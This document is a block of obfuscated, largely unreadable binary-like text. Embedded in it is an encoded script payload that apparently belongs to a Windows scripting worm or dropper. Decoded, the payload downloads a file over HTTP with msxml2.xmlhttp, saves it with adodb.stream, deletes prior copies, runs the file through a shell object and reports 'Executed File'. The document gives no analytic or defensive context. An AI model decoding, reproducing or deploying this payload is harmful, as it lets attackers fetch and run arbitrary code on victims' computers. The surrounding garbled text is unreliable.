00c5d\u0084\u00e4\u00c55T\u00d2\u00b5\u0095f\u00e55V3VtgFD&amp;\u00b54T\u00a7%\u0096\u00a4\u00e6\u00b6Et\u00a4\u0084\u00f5v\u0086\u00a5cev\u00c63DF\u00a6DFCB\u00b4\u00a5vD\u00a5\u00a3B\u00b4\u00a5WD\u00a5\u00a3B\u00b4\u00a5vD\u00a54g\u00f5\u0093&amp;\u00c46F\u00c6\u00c7F4s\u00a4\u00d6\u00a6\u00c7%\u0096\u00a4\u00e6\u00b6Et\u00a4\u0084\u00f5v\u0086\u00a3B\u00b4\u00a5F\u00c4\u00a5&amp;\u00d5%UuD\u00e4\u00b64t\u00e4\u0095U\u0085e$\u00d35uf\u00856$e\u00956\u00e4fcGu3\u00e4\u00b6V\u00c6\u00b7\u00a56\u00e4&amp;\u00a54d\u00a7u\u0096\u00d3\u00a6EgF$\u0084\u00e6tSC\u0097\u00a4\u00e56$t\u00a5\u0084\u00f5v\u00c6\u0086%e\u00a7\u00a4T\u00e4\u00a64S\u00936#&amp;D\u00a5\u00a3B\u00b4\u00a5vF\u0085c\u00c7e\u0096\u00a4\u00a4\u00b65gUF\u00e5\u00a6'\u00a6\u00b7\u00a5\u0096\u00d3FF\u00c6\u00c5\u0085U\u0085f%w\u0087\u00a5v\u00c5et\u00e4te\u0095F\u00a4&amp;\u00a6Uv\u0083e\u00a4V\u0084\u00b6V\u00c6\u00c5\u0095v\u00d7\u0086\u00b5'\u00a6\u0087u3\u0087\u00a53\u00c4E\u00a3F\u00c5\u00a3\u00c4E\u00a3F\u00c5\u00a3\u00c4E\u00e5\u00a5\u00a6%\u0084'E\u0097\u00a4\u0093V$\u0097\u00a5\u00a4\u0085f\u0095'\u00a6\u00c6\u00f5v\u00b4\u00d3\u0086Tw\u0086\u00b5#\u00a4\u0085\u0095fCF$WD\u0095F\u00a4&amp;\u00a6&amp;\u00b3V\u00f5\u00a4st\u00d4t\u00a3V\u00a6DFCB\u00b4\u00a5vD\u00a5\u0093U&amp;\u00b2\u00b5\u0095f\u00e55T\u00d2\u00b5\u0095f\u00e5&amp;\u00b2\u00b5\u0095f\u00e55T\u00e464g\u00a3F\u00c6#$\u0097\u00956\u00e4f\u00854d\u0097u\u0093E6F\u00d5\u0094\u00e5\u0084\u00e6\u0094\u00d6\u00b5\u00a7%DsT\u00f4\u00d4f\u00c5\u0095V\u00a4f\u00a6UCB\u00b4\u00a5F\u00c5W\u00a3B\u00b4\u00a5\u0086\u00c4\u00e5$CB\u00b4\u00a5\u0084&amp;\u00c6C#\u0094\u00b55T\u00e44\u00d4t\u00e7V$FDFCB\u00b4\u00a5vD\u00a5\u00a3B\u00b4\u00a5vD\u00a5\u00a3B\u00b4\u00a5vF\u00b6%U\u00a3U5T\u00e46F\u00c6\u00c7F4\u0087\u00b54W5uf7\u0086$\u0097\u00a5\u00a4\u0085f\u0095'\u00a6\u00c6\u00f5v\u00b4\u00d2\u00b5\u0095SU5U\u00a6\u00b5df\u00b7\u00a56\u00e4&amp;\u00a54dcUD\u00e4\u00b6$f\u00c5\u0095V\u00d7\u0085T\u00d6\u00b7\u0085v\u00c6D\u00f4\u00d4WDE6\u00d6\u0086'\u00a6\u00c7%uv\u00b3V\u00d5$\u00956\u00d7\u0085\u00a5g\u00a4'3'\u00a53\u00c4E\u00a3F\u00c5\u00a3\u00c4E\u00a3F\u00c5\u00a3\u00c4E\u00e5\u00a5\u00a6%\u0084#e\u00a4V\u0084\u00b6$f\u00c5\u0084\u00d5wF\u0094\u00d3%#\u0096\u00b63VgD\u00e5ef\u00c5tT\u00a755Uu\u00a3\u00c5U\u008c\u00c9\u0091\u0085P\u00d0\u00ad)]\u0091)E\u00e8\u00d0\u00ad)]\u0091)E\u00e8\u00d0\u00ad)]\u0091\u00a55\u00ad\u00c1\u00e1e\u00e99M\u0095Y\u00c1aI\u00b9I\u0085I\u00e9\u00ad\u00e9e\u00b4\u00c4\u00d1\u0091\u00b1\u00b1aUaYU4\u00c1)\u00cde\u00b5\u00b1\u00b9\u008d\u00e4\u00cd\u0088\u00c9\u0091)E\u00e8\u00d0\u00ad)]\u0091)E\u00e8\u00d0\u00ad)]\u0091)I\u00e9\u00b1\u00c1e\\\u00d5=59\u00d1Y\u00b5\u00a1\u00a5X\u00c5(\u00c9i$\u00c5\u008c\u00c9%\u00e5I\u00b5\u00d15\u0089H\u00d5eY\u00a1M\u0089\u00d1!=]\u00b1\u00a1\u0089]\u009d\u00ddi\u00a1\r\n\u0084\u00c9%\u00e9i!Y\u00a5I\u00e9\u00b1\u00bd]\u00ad4\u00c5\u0095Y\u00c1eQ\u00b9\u0091\u00a55\u00a9X\u00d9]\u00b1Y-\u0091\u00b1\u00c1%\u0084\u00cd\tA\u0090\u00c8\u00e5\u00b9MU4\u00adA\u00a5Y\u00b9MU4\u00adA\u00a5Y\u00b9MU\u008c\u00d5\u0085]\u00d5Q\u00a9\t\u00a9\u0089Yi\u00bde\u00b1\u0091M\u0091\u00b5E\u00e59a9\u00a55\u00adi\u00c9Q\u00e1=\u0085I\u00d1Y\u00b1Y\u00a55\u00c1\u00dde\u00ad\u0091Y\u0088\u00c95\u00e9U\u00b9\u00b1\u00a95\u00ade\u00e5]\u00b1\u00a1M\u0091\u00ad\u00d1U\u008c\u00c1\u00d1)E\u00e8\u00d0\u00ad)]\u0091)E\u00e8\u00d0\u00ad)]\u0091)D\u00c1(\u00c9]\\\u00c5\u00dd\u0095\u00b5I%M\u00b5\u00e1iY\u00e9\u00c9e\u00a99\u00ad\u0091])!=]\u00a1\u0085E\u00e9Y\u00c5e\u00ad\u008c\u00d5\u0095\u00b1\u00c1Qh\u00cd\tA\u0090\u00c8\u00e5\u00b9MU4\u00adA\u00a5Y\u00b9MU4\u00adA\u00a5Y\u00b9MP\u00d0\u00ad)\\\u00e5\u00b9MU4\u00adA\u00a5Y\u00b9MU4\u00adA\u00a5Y\u00b9MU\u008c\u00d5\u0085]\u00d5Q\u00a9\t\u00a9\u0089Yi\u00bde\u00b1\u0091M\u0091\u00b5E\u00e59a9\u00a55\u00adi\u00c9MUE\u00ddh\u00c9)\u00d5Y\u00b99\u00a5I!91D\u00c54\u00adA\u00a5Y\u00b9i\u00b1\u0091=\u0085I!Q\u00b4\u00e51H\u00c5h\u00d5d\u00c9\u00b1\u00cd8\u00c19\u00b9\u0084\u00c1\u00c1\u00ad])\u00c9]Y\u00a1M\u00895\u00e9U\u00b5\u00a1\u00adMh\u00d9L\u00c19-E\u00b1\u00ad\u00e5Q\u00b5\u00e1\u00a94\u00c0\u00c5\u00e5U\u00ad\u0091]\u0091]aY\u00b5\u00d1)\u0085]\u00cc\u00cdD\u00c9\u0091\u00c9h\u00c1\u00b1%5\u00d1)E\u00e8\u00d0\u00ad)]\u0091)D\u00c1$\u00d5D\u00c9\u00ac\u00adA\u00a5Y\u00b9MU4\u00adA\u00a5Y\u00b9eY\u0091i\u0088\u00c9%\u00e5M\u00b9\u0085\u0089\u00ac\u00d4\u00c9]\u00ad\u008c\u00d54\u00c9)\u00d1\u0095!iiX\u00c5\u00c5]\u00b4\u00c5\u00cd\u008c\u00c5\u00c1YY\u00a9I\u00a1]\u00d1\u00ddd\u00cd\u00b1\u00bd\u0095\u00b5I%M\u00b9\u00c1i]\u00c1\u00cdi\u008c\u00d1\u008d\u00d1e\u008c\u00c1\u00d1)E\u00e8\u00d0\u00ad)]\u0091)E\u00e8\u00d0\u00ad)]\u0091)D\u00c1(\u00d9eU\u0091]\u008c\u00c9)!=]\u00b1\u00a1\u0085QX\u00d5i\u008c\u00c1\u0088\u00c1\u00b1\u00cd\u0090\u00c9\u00b1)\u0085P\u00d0\u00ad)a))M\u00d1\u00ddd\u00c8\u00d5=\u0085I\u00d1Y\u00a9\t\u00a5\u0095P\u00d0\u00ad)a))D\u00c1\u00c1\u00a9M]\u00ac\u00adA\u00a5Y\u00c1MU9\u00e9h\u00c9!=a\u00c1\u00adE\u00e8\u00d0\u00ad)a))D\u00c1\u00b1\u00b9M]\u00ac\u00adA\u00a5Y\u00e5MU\u00a1\r\n\u0091\u00b59\u00d5U]\u00911\u0095P\u00d0\u00ad)]\u00b1)I\u00b9\u0091\u00c1M]\u00ac\u00adA\u00a5Y\u00e5MU\u0091\u0085\u008d)!Y\u00b5\u00a1\u00a9\u0089]9\u00b9L\u00cd\u00ac\u00adA\u00a5Y\u00c1]9)\u0085U\u00d1U\u008c\u00c1\u00d1)E\u00e8\u00d0\u00ad)]\u0091)E\u00e8\u00d0\u00ad)]\u0091\u00b5U\u00e8\u00d0\u00ad)]\u0091\u0089\u00a9\t1D\u00c8\u00c5\u00855])\u00d1Q\u00a9\t\u00a1Y\u00e9\u00b0\u00c5MU\u00a1=\u008dI!Y\u00b5\u00d1\u00a54\u00c9H\u00c5e\u00ad\u008c\u00d5\u0085\u00c1!Y\u00b9\u00b1)D\u00c9\u00a1\u00d1eY\u0090\u00d1\u0089IeM\u00b995H\u00c5\u00c1\u00dde\u00ad\u0091]\u0091Y\u00b1a5]\u00e11]!91D\u00c9\u00ac\u00adA\u00a5Y\u00b9MU9\r\n5\u00b1\u00b1eM]\u0091\u00a94\u00c5(\u00d5e\u00ad\u0091\u00cd\u0091]\u00d5A\u00a8\u00d1\u00b1=U\u00b1!]\u00b9\t\u00a5H\u00c5e\u00e1d\u00c8\u00c4\u00cd8\u00c19\u00c1A\u00a8\u00d1\u00b1h\u00c1\u00b1E\u00a9)i]\u00b1\u00b9e\u00e99M\u0095]5\u00e5I\u00a9)\u0085](\u00c9MUE\u00ddh\u00c9a9a\u00c1\u00adH\u00c1i\u00e9e\u00ad\u0091M\u008d9\u00c1A\u00a8\u00d1\u00b1\u008d\u00ad\u00b1!]\u00b9\t\u00a5H\u00c5h\u00c5]Y\u008d\u00e1\u0089\u00e4\u00cd\u0088\u00c9\u0091)E\u00e8\u00d0\u00ad)]\u0091\u00ad\u0089Uh\u00d5MU\u008c\u00d5\u0085]\u00d1\u0085\t\u00adM)\u00c9e\u00a99\u00ad\u0091])!=]\u00a1\u0085E\u00e8\u00d0\u00ad)Q\u00b1)I\u00b5IU]Q9-\u008d9%UaYI4\u00c1\u00c1\u00cd]Y\u00a1M\u0089E\u00e5M\u00b9\u0085X\u00c0\u00d1\u00ddL\u00c19-\u00915\u00e9\u0085!I\u00a5I\u00b0\u00c5e\u00e9)]\u0095]I\u00d1Y\u00b9\u00b1\u00b1I\u00e9\u00e9eU\u00a1M59M]\u00911Y!91MU4\u00adA\u00a5Y\u00b9MU\u008c\u00d5\u0085]\u00d1\u0085\t\u00adM)\u00c9e\u00a99\u00ad\u0091])!=]\u00a1\u0085E\u00e9X\u00c9d\u00c1\u0091]\u0091U\u00d1M\u00b4\u00d5\u0085]\u00c1Q9\r\n\u0095\u00b5I%M\u00b99\u00a1Y\u00e9Y\u00e5Q9\r\n\u0089Y\u00b1a\u0095!\u00c1\u0085T\u00c9\u00cc\u00cdD\u00c9\u00ac\u00adA\u00a5Y\u00b9MU9\r\n\u0091\u00b1\u00b1\u00d1\u008d\u00e5\u00adM(\u00cd]\u00ad\u008c\u00d54\u00c9)\u00d1\u0095!iiX\u00c5\u00c5e\u00e9)]5Y\u00d1Y\u00b9\u00a1\u00adX\u00c5h\u00d9iY\u00bd\u0089\u00b1aU\u00b5\u00e1\u00a9\u0085]\u0091\u00c1]Q)\u0085\u00b5!YaIi5\u00a9\u00b0\u00c5i\u00a1-\u0091\u00b5)Ma9)D\u00c1\u00c0\u00c1]Y\u00a1\u00b9\u0091\u00b1ai\u00e1EY\u00d0\u00ad)]\u00b11Y!91MU4\u00adA\u00a5Y\u00b9MU\u008c\u00d5\u0085]\u00d1\u0085\t\u00adM)\u00c9e\u00a99\u00ad\u0091])!=]\u00a1\u0085E\u00e9X\u00d9]\u00b1\u008c\u00c5\u0084\u00c1\u00d1\u0085\u00e9\u0091\u0085P\u00d0\u00ad)]\u0091)E\u00e8\u00d0\u00ad)U\u00d1)E\u00e8\u00d0\u00ad)]\u0091)M\u00c1\u00bdd\u00c9\u00b1\r\n\u0091\u00b1\u00b1\u00d1\u008d\u00c5\u00a95\u00a9\u00b1\u00c9e\u00a99\u00ad\u0091])!=]\u00a1\u0085E\u00e8\u00d0\u00ad)Q\u00b1)I\u00b5IU]Q9-\u008d9%UaYI4\u00c1\u00c1\u00cd]Y\u00a1M\u0089E\u00e5M\u00b9\u0085X\u00f4wS0NKelkzSnBjSFJwYm1jdVptbHNaWE41YzNSbGJXOWlhbVZqZENJcE93b2dJQz4+JWdhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ0lDPj4lZ0lDQnZZbXBtYzI5a2IzZHViRzloWkM1a1pXeGxkR1ZHYVd4bEtITjBjbk5oZG1WMGJ5azdDaT4+JWdJQ0I5Q2k+PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUM+PiVnSUM+PiVnSUhaaGNpPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRZ1BTQlhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpWVdSdlpHSXVjM1J5WldGdElpazdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVWSGx3WlM+PiU5SURFN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xrOXdaVzRvS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVhjbWwwWlNodlltcG9kSFJ3Wkc5M2JteHZZV1F1Y21WemNHOXVjMlZDYjJSNUtUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVUWVhabFZHOUdhV3hsS0hOMGNuTmhkbVYwYnlrN0NpPj4lZ0lDPj4lZ0lDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVkyeHZjMlVvS1RzS0lDPj4lZ0lDPj4lZ0lDPj4lS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDPj4lOUlHNTFiR3c3Q2k+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lHbG1LRzlpYW1aemIyUnZkMjVzYjJGa0xtWnBiR1ZGZUdsemRITW9jM1J5YzJGMlpYUnZLU2w3Q2k+PiVnSUM+PiVnSUM+PiVnYzJobGJHeHZZbW91Y25WdUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1kbGRFWnBiR1VvYzNSeWMyRjJaWFJ2S1M1emFHOXlkRkJoZEdncE93b2dJQz4+JWdJQz4+JWdJSFZ3WkdGMFpYTjBZWFIxY3lnaVJYaGxZM1YwWldRclJtbHNaU0lwT3dvZ0lDPj4lZ0lIMEtmUW9LWm5WdVkzUnBiMjRnWkc5M2JteHZZV1FnS0dacGJHVjFjbXdzWm1sc1pXUnBjaWw3Q2k+PiVnSUNCcFppaG1hV3hsWkdseUlEMDlJQ0lpS1hzZ0NpPj4lZ0lDQm1hV3hsWkdseUlEMGdhVzV6ZEdGc2JHUnBjanNLSUM+PiVnSUgwS0NpPj4lZ0lDQnpkSEp6WVhabGRHOGdQU0JtYVd4bFpHbHlJQ3NnWm1sc1pYVnliQzV6ZFdKemRISW9abWxzWlhWeWJDNXNZWE4wU1c1a1pYaFBaaWdpWEZ3aUtTPj4lcklERXBPd29nSUM+PiVnZG1GeUlHOWlhbWgwZEhCa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSnRjM2h0YkRJdWVHMXNhSFIwY0NJcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xtOXdaVzRvSW5CdmMzUWlMQ0pvZEhSd&gt;\\\u00d2\u0092\u0098U\r\n\u00d2\u0096\u0092\u0094\u008c\u009a\u0096^\u0093\u0094\u0096\u008c\r\nT\u008dUN\\\u00d5\u00d9UR\u008c\u00d6Z\u0093\u0092\u00d3Q&#x5B;\u00cc\u009bYU&#x5B;\u0094\u00cc\u00da\u00ca\u00d4U\u009c^\u0092\u0095\u00d9\u009cU\u009aYU\u008c\u00db\u0092\u0096\u008c\r\nT&#x5B;\u009c\u0094\u008c\u00da\u00d6\u0091Y\u00d9U&#x5B;\u00cc\u0099X\u0095\u00de\u0095\u00db\u00d9U\u00d2\u0091\u0099X\u0095V\u009e\u0096^\u0092\u0095\u0098\u00d1NL\u00d8\u008c\u0099\u0094^\u008d\r\n\u00d2\u0095\u00d9SZ\u00dcUZ\u00d3Q\u00d3\u0092&#x5B;\u0096\u009a\u00d3Z\u0095\u009e\u0096Z\u0092\u0091\u00d8LU^\u00d4\u009a\u00dc\u00d6LZ\u00d8\u0091\u00d3^\u0095Z\u00dbU\u008c\u009c\u0095\u00db\u0098\u008cU\u009b\u009cU\u00d1&#x5B;\u00d5\u0099\u00d8\u0091\u00d2\u009dUU\u0092\u0098V\u0096U\u0098\u00ccX\u0095\u00d2^\u0094\u00db\u0094\u0096\u0095\u00d1\u0092\u009d\u00d6Z\u0092L\u008c^\u0099U\r\n\u00d2\u0095\u00d9\u0094L\u008c\u0095\u00d5\u00cc]\u00d8\u008c\u0094\u0092U&#x5B;\u0099T\u009e\u009a\u00de\u0096&#x5B;LMV\u009a\u0093&#x5B;\u008cU\u00da\u00d3\u009b\u0098U&#x5B;^\u0099U\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9U\r\n\u00d2\u0095\u00d9\u0094L^U\u00d5\u009a\u0096\u008c\u0092^T\u00db\u0091\u0098X\u009a\u00cdL\u0095\u00da\u00d8\u00cdSL\u0092\u009dR\u0096\u0095\u008cQ\u009b\u0095Q\u0093\u0090\u00d5\u00d1\u0095^U\u009b\u00d1R]\u00d5\u00dd\u00d9U\u009c\u009a\u0090\u0098U\u0095U\u00ccU\u00d8&#x5B;T\u0091\u008c\u009b\u0093Z\u00cdMVU\u009a\u00d3Q\u00d1\u0096\u0095\u00cdSX\u0095\u009c\u00d6Z\u00d9\u00d9&#x5B;U\u0096U\u0090\u0098U\u009e\u0091\u008c\u0095\u00d5\u00cc]\u00d8\u0091\u009a\u00de\u0095U\u00db\u0092\u0093\u00d5SJ\u00d4U\u009b\u0094\u00d5Y\u00d8\u0095]\u00d5\u00db\u0095\u009c\r\n\u0096Z\u0092\u0094\u00d9T^S\u0096\u009aSZ\u00d6\u009c\u0095\u00ccXX\u00d1\u00d2\u0092\u009a\u00d6\u009b\u008c\u009e\r\n\u0096\u0091Z\u0098\u008c\u0093^\u0095&#x5B;\u009b\u0093Z\u00d6^U\u00db\u00d9\u00dd\u0091U\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9SZ\u00dc\u00dbMS\u00d9\u00d5\u009aX\u0096\u0095\u00d5\u0099\u0099\u009c\u009b\u0093\u0098U\u00d1\u0092\u009c\u00d5&#x5B;L\\\u00d8\u00cc\\R\u00d4\u00d1\\\r\n\u0095\u00d5\u009aX\u0091\u00d4\u0092\u00d2\u0094\u008e&#x5B;\u0094\u00d5SJ\u00d4U\u009b\u0096\u009b\u009d\u0096\u008c\u008d\u008c\u00ca\u00d4U\u009d\u0096\u008c\u008d\u008c\u0091\u0096\u00d5\u00d9\u009e\u009bU\u00cc&#x5B;\u00d3Q\u00d4\u0092T&#x5B;]SL\u0094\u008cVZ\u00d8\u00cdXQ\u009c\u0096\u00d4\u008c]\u00d6\u0091\u009a\u0096\u008cP\u0095SQ\u00d9\u0098Z\u008d\r\n\u00d2\u0096\u00d2\u0093\u00d5SJ\u00d4U\u009b\u0094\u00d5SJ\u00d4U\u009b\u0094\u00d5S\u0090\u00d3&#x5B;T\u00d5\u00d9\u0094\u009e\u009bU\u00cdS\u00d3Q\u00d3\u009d\u009bZU\u008cR\u008c\u0096\u0091LX\u00cc\u0092^T\u009b]\u0094\u0091\u009b\u0095\u009a\u0091\u0093\u00d8&#x5B;S\u009d\u0092\u00d4^\u0095\u0091VL\u008cU\u00d8Q\u00d4\u0092\u009b\u0096\u0098\u0096\u009c\u00d5\u00d5\u0094\u0098\u008c\u009b]S&#x5B;\u009c\u00cdS\u00d3Q\u00d3\u009d\u009bZUL\u00d5\u00d9\u0096\u008c\u008d\u008c\u008d\u008c\u00d5\u00db\u009a\u00cd\u00d6L\u008cU\u00d8Q\u00d2\u0096&#x5B;\u0096\u009a\u00d3Z\u0095\u009e\u0096Z\u0092\u0091\u00d8L\u00d5Z\u0095\u009a\u0094\u008cU\u009b\u0095Q\u0093J\u00d4U\u008d\u00da\u00ca\u00d4U\u0093\u00d5SJ\u00d4U\u009b\u0094\u00d5SJ\u00d4U\u009b\u0094\u00d5S\u0090\u00d9\u00d2\u00d4\u00d1\\\u00d5\u00d5\u0098\u00deL\u0092^\u0096\u0092\u009aT\u009e\u009b\u00d5\u00da\u00d3LUQ\u00d3\u0092\u009b\u0095\u0093L\u009c\u00cc\u00d4L\u009a\u00ca\u00d4U\u009b\u0094\u00d5SJ\u00d4U\u009b\u0094\u00d5SJ\u00d4U\u009b\u0096Z\u0092\u0092\u00d8\u00d5\u00d3^\u0095&#x5B;\u009bU\u008c\u008c\u00da\u00d8\u00cdSL\u0092\u009dR\u0096\u0095\u008cQ\u008cU\u009a\u0093\u0092\u00d8\u00d1\u00d4\u0092\u0095\u00ceZSZ\u00dcUZ\u00d3Q\u00d3\u0092&#x5B;\u0096\u009a\u00d3Z\u0095\u009e\u0096Z\u0092\u0091\u00d8LT\u00db^\u0093L\u008c\u0096&#x5B;MS\u00d8\u0091\u0091\u009d\u00d5\u00ddL\u009c\u00cc\u00d4L\u009a\u00ca\u00d4U\u009b\u0094\u00d5SJ\u00d4U\u009b\u0094\u00d5SJ\u00d4U\u009b\u0096Z\u0092\u0092\u00d8\u00d5\u00d3^\u0095&#x5B;\u009bU\u008c\u008c\u00da\u00d8\u00cdSL\u0092\u009dR\u0096\u0095\u008cQ\u008cU\u0095\u0091\u00d3&#x5B;\u00d5&#x5B;\u0096\u0094\u00d8\u0095\u00de\u0095\u00db\u009b\u00d9&#x5B;T\u0092T\u00db\u009c\u0095\u00d1\u009c\u00d6\u0091X\u00cd\u00d1NL\u00d8\u008c\u0099\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094\u009e\u009bU\u00cdS\u00d3Q\u00d3\u009d\u009bZU\u008cR\u008c\u0096\u0091LX\u00cc\u0092^T\u009b]X\u0095M^\u0096Z\u0093\u0093\u00d8\u0091]^\u0099U\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9U\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9SZ\u00dc^\u0093\u0094\u00d9U\u009c\u009b\u0094\u0098T\u009e\u009a\u00de\u0096&#x5B;LMU\u00d9UL\u008cV\u0091\u0099\r\n\u00ccL\u00d8\u008c\u0099\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094\u00d1\u0093\u00d5SJ\u00d4U\u009b\u0094\u00d5S\u0090\u00d8\u00d1\u009cR\u0096\u0098\u0096\u009d^\u0092MXL\u0092^\u0096\u0092\u009aT\u009e\u009b\u00d5\u00da\u00d3LX\u0095\u00d1\u0096Q\u00de\u00d5\u00d1\u00da\u00d6^\u0093\u0094\u00d9Z\u00ddU\u0090\u009a\u0098\u009a\u00cd&#x5B;\u00d6\u0091\u00ccU\u00d3Q\u00d2\u008dXL\u00d0\u009b\u008e&#x5B;\u0094\u00d5SJ\u00d4U\u009b\u0094\u00d5SJ\u00d4U\u009b\u0094\u00d5Z\u00d8\u008c\\R\u009aSZ\u00dc\u00cdR\u00d3U\u00d2\u009cR\u0096\u0098\u0096\u009d^\u0092MXL\u0092^\u0096\u0092\u009aT\u009e\u009b\u00d5\u00da\u00d3LX\u009bUZ\u00d9\u008c\u00da\u00d4\u00cc\u00d3Q\u00d3\u009dUZ\u00d8\u0095\u0096]\u00d6&#x5B;\u009b\u0099\u00d3^XR\u009a\u0098\u009b\u0094\u0095\u00d5\u009a\u00d8\u008cX\u00cc\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094^\u008d\r\n\u00d2\u0095\u00d9\u0094L^L\u00d8Q\u00d4\u0092\u009b\u009c\u00d4\u008c]\u00d6\u0091\u009a\u0098\u008c\u0095\u009a\u0094\u0098U\u008c\r\n\u0091Y\u00d8L\u00dd\u00d5\u00db\u0090\u009aT\u008cU\u009c\u00ccT\u009e\u0094\u00cc\u008d\u008cZ\u009b\u0094\u008d\u00d1\u008c\u00d0\u009d\u0091\u0098\u00ccX&#x5B;T\u0092\u0092\u009aXUR^L\u00d8Q\u00d4\u0092\u009b\u009c\u00d4\u008c]\u00d6\u0091\u009a\u0098\u008c\u0093^\u0095&#x5B;Z\u00d4\u00d1\u0096\u008d\u0095\u00d1^&#x5B;\r\nX\u0091\u009b\u008dV\u0095\u009a\u0094\u00cc\u0096U\u00dbZ\u0098UR\u008c\u0095\u00d5\u00cc]\u00d9&#x5B;R^U\u00d9UL\u0096U\u0095\u0093\u00d9U\u00d1\u0096TZ\u0090\u0093XOSUv\u00c6Dt\u00d4gd\u00f5v\u00c6\u0086%e\u00a7\u00a4T\u00e6\u00e6t\u00a5\u0095F\u00a5&amp;\u0095c6CUDsV\u00f6Dt\u00a4\u0086D&amp;\u00b54CB\u00b4\u00a5v\u00c4\u00c5d\u0084\u00e4\u00c53VtgUF\u00e5\u00a5\u00a6UEc%\u0093EvEWDE6\u00e6F\u0094\u00d3Gu5v\u00c36td\u0095V\u00a4&amp;\u00a5$s\u0093%D\u0086\u00c4\u00a5\u00a3CU\u00d3\u0096\u0094\u00d3\u00d1\u00ddMU9\u00e9h\u00c1\u00b1\u00c5\u0088\u00c9\u00b1)D\u00cd9\u00b9d\u00c1\u008c\u00d5\u0095]IA\u00a8\u00d1\u00b1\u008d\u00ad\u00b1Mai)\u0085P\u00d0\u00ad)a))D\u00c1\u00bd\u00e1d\u00c1\u0091M\u0085I!YaI\u00a94\u00c5)\u00bdi\u00a1]\u0095\u00ad\u00b1\u00c1A\u00a8\u00d1\u00b1\u008d\u00ad\u00b1%Q\u00b9\u0091\u00a5H\u00c9\u00dd\u00dd]\u00b1\u00a1)h\u00c1\u00d0\u00d5E\u00b9\u00c1\u00adH\u00c1e\u00ddi\u00a1=i\u00b5)eQ\u00b4\u00d55D\u00c1)\u00d1]Y\u0090\u00d1\u0095\u00b1\u00c1Q\u0085\u00e9\u0091h\u00c9\u00e0\u00c9]\\\u00c5\u00dd\u0095\u00b5%\u00e5QaY\u00a95\u00b1e\u00ddY\\\u00c5]\u0095IaY\u00b9\u00c1\u00adI]\u00a1\u00cd]Y\u0091M\u00899\u00c1h\u00c9\u00b1\u00ad]\u00d5\u00cdd\u00c9\u00ad\u00e1\u0085\u00bd\u00e5Y\u00b9Y\u00adI\u00e5\u00c1Q9\r\n\u008d)\u00d1]\u00b9i\u00a9\u0089Q\u00bdi\u0091\u00cd\u0091\u00b5)\u00c1h\u00cd\t1Y!91D\u00c5\u008c\u00d5\u0085]\u00d5Q\u00b9ii\u0095QX\u00d9]\u00b1\u008c\u00c5\u0084\u00c1\u00d1M]\u00b11Y!91D\u00c5\u009d\u00e1\u0085\u00b1\u00b1eU\u00b5\u00c1\u00a1D\u00c9\u00a1\u00cdd\u00c8\u00d5)\u008dU\u00e95\u00d1\u00b5U\\\u00e51]\u00b4\u00d5]\u0091Y\u00ad\u00e9U\u00b9\t\u00a55\u00a9I\u00b9i\u00a1\r\n\u008c\u00c9%\u00e5I\u00b5\u00d1)D\u00c9\u00a1\u00d1eY\u0090\u00d1\u0089IeM\u00b995D\u00c1(\u00d5]\u00b1\u00a1M\u0085\u00b5)aUa\t\u00b1\u0090\u00c8\u00e5-i\u00a1-9]X\u00cd\u0088\u00c1\u00c1]\u00c1\u00bdd\u00c9\u00ac\u00adA\u00a5Y\u00b9eU\u00a1M59!=]\u00b1\u00a1\u0085a\u00a0\u00c9]\\\u00c5\u00dd\u0095\u00b5I%M\u00b5\u00e1iY\u00e9\u00e1d\u00c1\u0090\u00d1\u0091\u00b1\u00b1aU\u00b5\u00e15H\u00c1\u00bd\u00e1]\u00b4\u00c5\u0085\u00899\u00c5\u008c\u00c1\u00d1U]\u00dd\u00e5]Y\u00a1)h\u00c9%\u00e5M\u00b9\u00a94\u00c5(\u00d5]\u00b1\u0091\u0091IeE\u00b99\u00a55\u00adi\u00c9]\u00b14\u00adA\u00a5T\u00d5MUi\u00adY\u00ad\u00e9M\u00b9\t\u00a9M\u00c5UQ9-\u0089\u00b1eU\u00b5\u00e1U5\u00ad\u00c1\u00e1]\u00b1\u0091=5\u00d1M\u00b5\u00a1\u0085I\u00e9\u00b1\u00c9]]\u00ac\u00c5\u0095\u00b5I%M\u00b5\u00e1iY\u00e9\t\u00c1L\u00c5I\u00e9L\u00c19I\u0089!ii\u0089a\u00d9i\u00a1-\u0089\u00b1a5Q\u00a9H\u00cd\u00a0\u00c9]Y\u0091M\u0089\u00e1\u00cdU\u00a9Y\u00a9H\u00c5Y\u00b9U4\u00adA\u00a5X\u00d1P\u00cd\u00ac\u00adA\u00a5Y1D\u00c5\u00cd\u0091\u00b1\